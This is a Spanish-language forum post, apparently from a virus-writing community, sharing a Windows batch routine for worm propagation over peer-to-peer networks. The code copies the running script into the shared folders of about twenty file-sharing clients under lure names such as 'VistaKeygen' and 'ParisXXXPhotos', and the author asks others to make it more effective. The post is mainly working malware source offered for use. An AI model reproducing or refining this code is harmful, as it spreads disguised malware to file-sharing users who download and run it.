[Batch] Nueva Propagacion P2P

He visto por ahi un par de codes para realizar este tipo de propagacion pero la verdad que siempre son extensos debido a la cantidad de programas que existen para el uso de este tipo de protocolos y a la cantidad de veces que debemos copiarnos...

Al igual que la propagacion por USB, pienso que este codigo puede optimizarse y mejorarse para hacerlo mas liviano y con mayor efectividad...

Yo tenia pensado algo con FOR y CALL de la siguiente manera

for /F %%a in (Aqui las variantes) do (call :p2p %variante%)

y en el cual la funcion p2p tendra los comandos para copiarnos a los directorios compartidos por estas aplicaciones...

Aqui pongo un codigo de ejemplo, a ver como podemos mejorarlo y optimizarlo...

Código:

:inicial
set nosotros=%0
for /F %%v in (VistaKeygen,EmoticonesMSN,SerialOffice2007,ParisXXXPhotos) do (call :p2p %%v)
goto :eof


:p2p
set var=%1
copy %nosotros% "%programfiles%\Grokster\My Grokster\%var%.bat"
copy %nosotros% "%programfiles%\Morpheus\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\ICQ\shared files\%var%.bat"
copy %nosotros% "%programfiles%\KaZaA\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\KaZaA Lite\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\EDONKEY2000\incoming\%var%.bat"
copy %nosotros% "%programfiles%\eMule\Incoming\%var%.bat"
copy %nosotros% "%programfiles%\Filetopia3\Files\%var%.bat"
copy %nosotros% "%programfiles%\appleJuice\incoming\%var%.bat"
copy %nosotros% "%programfiles%\Gnucleus\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\LimeWire\Shared\%var%.bat"
copy %nosotros% "%programfiles%\Overnet\incoming\%var%.bat"
copy %nosotros% "%programfiles%\Shareaza\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\Swaptor\Download\%var%.bat"
copy %nosotros% "%programfiles%\WinMX\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\Tesla\Files\%var%.bat"
copy %nosotros% "%programfiles%\XoloX\Downloads\%var%.bat"
copy %nosotros% "%programfiles%\Rapigator\Share\%var%.bat"
copy %nosotros% "%programfiles%\KMD\My Shared Folder\%var%.bat"
copy %nosotros% "%programfiles%\BearShare\Shared\%var%.bat"
copy %nosotros% "%programfiles%\Direct Connect\Received Files\%var%.bat"
copy %nosotros% "%appdata%\Ares\My Shared Folder\%var%.bat"
goto :eof

Lo veo mas corto y mas entendible que otros codigos que haya visto por ahi, pero habria que aumentar su efectividad...

Espero las sugerencias...

Saludos.